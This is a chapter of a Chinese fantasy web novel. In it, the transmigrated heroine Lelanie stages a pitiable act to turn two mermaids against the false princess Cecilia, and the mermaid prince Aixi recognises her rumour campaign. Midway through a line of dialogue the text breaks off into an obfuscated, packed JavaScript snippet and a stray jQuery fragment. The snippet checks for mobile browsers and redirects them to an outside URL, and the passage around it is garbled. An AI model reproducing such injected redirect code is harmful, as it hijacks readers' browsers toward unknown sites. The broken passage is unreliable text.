“抱歉把，抱歉，借过！”蕾兰妮抱着一个装的满满的盆，慢吞吞地在路上走着。


    两位女性人鱼正在路边闲聊，看到她的样子连忙躲闪开来。


    她貌似无意地低着头，每一次都精准地避开那些人鱼，但又保持着合适的距离。


    “你就不能稍微注意点吗？”距离她最近的那位人鱼终于忍不住了。


    “你这些垫子看起来真的很脏！”


    “对不起！”她慌乱地叫着。


    她是真的有点害怕——如果这些人鱼再后退一步，就要踩到躺在地上的小狗了。她脚边可还跟着一条地狱犬呢。


    “凶她做什么？她都已经这么可怜了。”另外一名少女明显有些不满。


    蕾兰妮在书中见过这两个女孩。她们的设定就是一个红脸一个白脸，但是总的来说心眼并不坏。


    她们会对塞西莉亚如此忠诚，很大程度上还是因为这位假千金对这些人鱼都用了一些迷惑的魔法。虽然人鱼本身对这类魔法有免疫作用，但是在大意的情况下还是会中招。


    只是，比一般人的稍微好解一点而已。


    在书里的高潮部分，她们恢复清醒，并且为雅瑞尔提供了关键的扳倒假千金的证据。


    不过现在来看，由于剧情被改变太多，恐怕她们两个这辈子都见不到那位真千金了。


    蕾兰妮继续低着头，将因为摇晃而掉在地上的垫子重新捡起来放了回去。


    她就是来卖惨的，不装的惨一点怎么行？那可就达不到她的目的了。


    “真是可怜，这是被打了的奴隶吧？”


    蕾兰妮不说话，只是蹲在河边洗着衣服，同时借助着反光偷偷地看着他们几个。


    “哦，肯定是不允许跟我们说话。”另一个女孩用同情的目光看着她。


    “那天公主殿下训的不就是她吗？一定被我们吓坏了。”


    “不，不是这么回事……谢谢你们的好意。”蕾兰妮抬起头，抹了抹脸上的泥土。


    “只是，我没想到你们讨论的是我。”


    她用了点朴实无华的化妆技巧。


    总之，她现在看起来面无血色，憔悴得像是大病初愈。这样的人颤颤巍巍地端着一大盆脏兮兮的垫子，总归是让人心生怜惜。


    “我们帮帮你怎么样？只需要一个简单的水魔法就可以处理这些问题。”那个友好一些的人鱼上前了一步。


    “就像这样。”


    “不麻烦你们了。我这样的工作还有很多……”蕾兰妮有气无力地叹了口气。


    可是人鱼们并不理睬她，只是用魔法将那些垫子全部清理干净。


    这还不够。


    蕾兰妮想了想，又后撤一步蹲在地上，将魔法阵的最后一笔画好。


    天知道她等了多少天才等到这么个把她们两个人带入魔法阵的机会，她不会放弃的。


    “你们也受到威胁了吗？我的意思是说，我是因为实在活不下去了才来这里的。”蕾兰妮小心翼翼地说。


    两个女孩的眼中出现了迷茫——人鱼受到的教育也是不能跟恶魔接触，可是现在他们未来的女王把这些规矩全都打破了。


    她能受到什么威胁？安洁烈娜虽然看起来有些鲁莽，但她是不会入侵人鱼的地盘的。


    这两位公主之间的战争也是因为塞西莉亚想要拿到安洁烈娜的那块地——


    那块地本来被叫做玫瑰乡，是因为常年战乱才成了荒地。塞西莉亚想重新种上玫瑰，可是那里的人只想跟着安洁烈娜一起先活下来，所以战争因此产生。


    可不是所有人鱼都打心底里喜欢她的。她只需要添油加醋，但这也不能表现的太过刻意。


    “非常抱歉，我只是……”蕾兰妮低声下气，又轻轻咳嗽几声。


    “我只是在想，这样会不会太麻烦你们两个了。毕竟，我应该是不配跟你们说这么多话的。”


    她昨天吃多了辣椒，声音沙哑。在这地方正好派上用场。而且她的肤色就与一般的精灵不同，这更增添了她的可信度。


    “哎，别说这个了。你这是怎么回事？怎么看起来这么憔悴？”


    蕾兰妮本来想对这位女性人鱼卖惨的，可是她没想到对方却先注意到了她胳膊上的伤痕。


    那是她第一天照顾这些小狗时候受的伤。虽然地狱犬们已经瘫痪了，可是攻击性还在。陌生的地狱犬把她伤得不轻。


    如果不是幸运还在，恐怕情况只会更加糟糕。


    “啊，这不是没有办法嘛……”她尴尬地抽回手。毕竟撒了谎，难免会有些担心。


    “不过我也知道，从他们这里得到东西，是需要付出代价的。”


    “是，对……我知道了！”唱白脸的那个少女像是突然苏醒过来一样举起双手在空中挥舞。


    “我明白了，你发现了吗？”


    “怎么会不知道？她不会付出任何代价。”面前的人鱼像是突然想到了什么一样松开了她的手。


    “唯一痛苦的是普通人。”


    蕾兰妮的目的达到了。她垂着头，抱着那盆垫料离开了。


    ****


    艾西焦急地用指节敲打着桌面。


    这种感觉非常奇妙。他找不到什么准确的描述来形容，就像是……


    小时候，在海边等着父母回家。


    他等啊等，期盼着父母能将那位妹妹带回来，一家五口过上其乐融融的生活。


    可是一切都变了，他成为了整个王室最不受宠爱的人。


    但这一切的开端都只是因为他的一句话——


    “她看起来，怎么有点不一样？”


    他对着造物主发誓，他真的没有讨厌那时候的塞西莉亚。她只是个在襁褓之中的小女孩，怎么就会睁着眼睛，满脸坏笑地看着所有人？


    可是他的父母却只因为他的这句话而生气。他们关了他的紧闭，又把他赶出去历练。因为没有在水边长大，他的魔法天赋非常有限。


    但幸好，他足够聪明。他有许多办法保住自己的小命，又用另一种方式获得精彩。


    后来他年纪渐长，他也明白了父母当年的想法。他们并不只是他的父母，还是国王和王后。


    他们在危难之时登上王位，就必须有自己的担当。


    其实，他们也未必就没有发现这个女孩的奇怪之处，只是那个时候他们不能没有公主。


    重建之后的人鱼王国必须表现出自己强大的那一面。


    可是这也并不只是这样。因为在后来，他的父母还是把她当做唯一的女儿，乃至于唯一的孩子。


    他也是想过要对这个妹妹好的，可是越相处，他越是觉得不对劲——因为就连他都发现了这个女孩身上那分诡异的傲慢。


    现在他算是彻底想明白了。


    她大概也是跟蕾兰妮一样来自于那个世界的，只是可能有些细微的差别。


    因为蕾兰妮很快就接受了这一切，在努力地活。而她还是把一切都当做一场游戏。


    他会想办法把自己的国度从这个女人手中救出来的，但是作为这个故事中的古人，有太多事情他还没有搞懂。


    但他也不是一点事情都做不了。


    “你确定？这个不用告诉蕾兰妮吗？”露西正坐在他对面，用粗壮的手指抓着个酒杯。


    “我不认为她会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453478|155882||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同意。有些事情，她自己可以处理，加上我们两个反而是累赘。”


    “不，她不需要知道这么多。”艾西果断地回答。


    “我要告诉她，我也能处理这些事。有时候……我并不需要依靠她的能力。”


    能治小狗的，不就只有她吗？那么蕾兰妮很有可能就需要她的帮忙。


    他是不能预知，可是那又有什么关系？这里是他长大的地方，他对这个世界无比熟悉。


    他也不想只当蕾兰妮那个没什么用的跳板了。他真的想帮帮她。


    露西还想说些什么，但一壶茶水突然砸在两人面前。露西跟艾西只能一起抬起头。


    “有什么事么？”艾西冷漠地抬起头。


    他不常遇到搭话的人。在这个世界，像他这样的魔法师总是很高傲的。


    “哦，最近这城中有大人物来！我是想来跟你打探点消息的。”男人盯着艾西，不好意思地挠了挠脑袋。


    “我看你好像也是人鱼，是吧？我还以为你能有点了解呢。”


    在远处，有许多人盯着他们三人的方向。他们咯咯地笑着，声音听起来无比尖锐刺耳。


    艾西意识到这个人是被派出来打探消息的。


    “知无不言。”他做了个手势，示意露西稍安勿躁。


    他倒还真的想看看这到底是怎么回事。


    “你知道人鱼公主吗？她真的很漂亮！据说她比天神更加美丽！”


    这话说得倒是不假，因为每条人鱼都有着摄人心魄的美貌。艾西一边想，一边继续喝着面前的茶。


    “你是说塞西莉亚，那位未来的王位继承人？但我看你的表情，好像不是要说什么好事。”艾西这回是真的有点好奇。


    男人警惕地左右打量着，又坐到他身边。他用胳膊肘轻轻地碰了碰艾西的。


    “没听说吗？那个女人可不是什么好人。我是想着问问你知不知道什么内部消息——毕竟你能来这里，证明你也是有点想法。”


    “这要看你的条件了。”说到底，不过是些想要投机取巧的雇佣兵。艾西一瞬间就明白了他们的想法。


    “哎，你是个人鱼，你应该知道的多一点吧？”那个路人转过头来看着艾西。


    “哎，你听说过这名公主吗？听说她为了跟恶魔合作，出卖了灵魂呀？”


    艾西瞬间明白了，这就是蕾兰妮的计策。


    就好像她跟他说过的一样，她会为塞西莉亚编造一条半真半假的消息。其中大部分都是已知的，只有少部分是只有她知道的“坏消息。”


    可是对于一个正在外出访问的公主来说，这些消息的后果简直是灾难性的。


    唯一的问题是，别人也没有那么轻易的会相信她。


    他想到了蕾兰妮身上的那些伤。她可能是真的用这些东西做文章，对别人表明自己有多么的可怜。


    其实绝大多数都是她在云城时候造成的，但是他还是忍不住地心疼。


    不管是那个原主，还是现在的蕾兰妮，她们都不应该受这样的苦。


    她们应该作为一名普通的精灵在自己的故乡长大，而不是在云城做自己完全不擅长的事。做得不好，最后甚至还会有人指责她们。


    这种日子实在是难熬。


    “艾西……？哦，不，算了，你一定不爱听。”露西嘀嘀咕咕。


    “不，你看起来是有话要说。”艾西抬起手在她眼前晃了晃。


    “如果你不告诉我，我会失眠一整晚的。”


    “真的没什么重要的。”露西说得无比认真。“如果你一定要知道的话，我是想说——心疼一个人，就是爱上一个人的开始。”